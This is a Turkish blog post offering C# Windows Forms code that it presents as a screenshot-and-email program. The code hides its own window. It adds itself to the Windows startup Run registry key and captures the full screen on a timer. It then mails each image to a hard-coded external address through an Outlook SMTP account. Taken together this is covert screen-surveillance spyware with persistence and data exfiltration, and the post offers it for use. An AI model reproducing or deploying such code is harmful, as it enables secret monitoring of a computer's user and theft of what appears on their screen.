Bir arkadaşımın göndermiş olduğu kodlar üzerinden, C# ile ekran çekme ve belli bir süre sonra email
gönderme programının videosunu yaptım, Herkese iyi seyirler.
gönderme programının videosunu yaptım, Herkese iyi seyirler.
using System;
using
System.Collections.Generic;
using
System.ComponentModel;
using
System.Data;
using
System.Drawing;
using
System.Text;
using
System.Windows.Forms;
namespace
WindowsFormsApplication1
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
timer1.Interval = 3000000;
timer1.Enabled = true;
notifyIcon1.Text = "Ekranýn
güzel.";
this.Visible = false;
}
private
Bitmap Ekranim;
private
Graphics grafik;
private void timer1_Tick(object sender,
EventArgs e)
{
Ekranim = new
Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height,
PixelFormat.Format32bppArgb);
// ana ekran boyutlarýnda bir
Bitmap nesnesi tanýmladým
grafik =
Graphics.FromImage(Ekranim);
grafik.CopyFromScreen(Screen.PrimaryScreen.Bounds.X,
Screen.PrimaryScreen.Bounds.Y, 0, 0, Screen.PrimaryScreen.Bounds.Size,
CopyPixelOperation.SourceCopy);
// ekran görüntüsünü aldým.
DateTime dt = DateTime.Now;
string tarih =
dt.ToShortDateString().ToString();
string saat =
dt.ToShortTimeString().ToString();
tarih = tarih.Replace('.', '_');
saat = saat.Replace(':', '_');
string tarihsaat = tarih +
"-" + saat;
// Resimin tarih ve saat ile
tutulmasýný istedim bunun için de . ve :'dan kurtuldum.
Ekranim.Save(@"Z:\Resimler\" + tarihsaat + ".Jpeg",
ImageFormat.Jpeg);
// Z:\Resimler benim dosyayý
kaydettiðim dizin.
string Mesaj = "Ekranýn";
string dosya =
String.Format(@"Z:\Resimler\{0}.Jpeg",tarihsaat);
MailGonder("yigit.ture@gmail.com", "Ekran
görüntüsü", Mesaj,dosya);
// mail ile gönderdim. Ek olarak
geliyor resimler.
}
public void MailGonder(string kime,
string konu, string mesaj,string resim)
{
SmtpClient client = new
SmtpClient();
MailMessage msg = new
MailMessage();
// ne olur ne olmaz resim null
gelirse kalmasýn diye bir kontrol yaptým.
if (resim != null)
{
Attachment eklenecekdosya = new
Attachment(resim);
msg.Attachments.Add(eklenecekdosya);
}
msg.From = new
MailAddress("ekranim@outlook.com","Goruntu");
msg.To.Add(kime);
msg.Subject = konu;
msg.IsBodyHtml = true;
msg.Body = mesaj;
msg.BodyEncoding =
System.Text.Encoding.GetEncoding(1254);
client.Credentials = new
NetworkCredential("ekranim@outlook.com", "þifresini
yazmadým");
// bu uygulama için aldýðým e-mail
client.Port = 587;
client.Host =
"smtp.live.com";
client.EnableSsl = true;
client.Send(msg);
}
private void Form1_Load(object sender,
EventArgs e)
{
RegistryKey key =
Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run",
true);
key.SetValue("ekranGoruntu.exe", Application.StartupPath);
// bu kod ile programýn baþlangýçta
çalýþmasýný umdum :) açýkcasý ben yazmadým bunu buldum bir yerden :)
}
private void
notifyIcon1_MouseDoubleClick(object sender, MouseEventArgs e)
{
Application.Exit();
}
0 yorum :
Yorum Gönder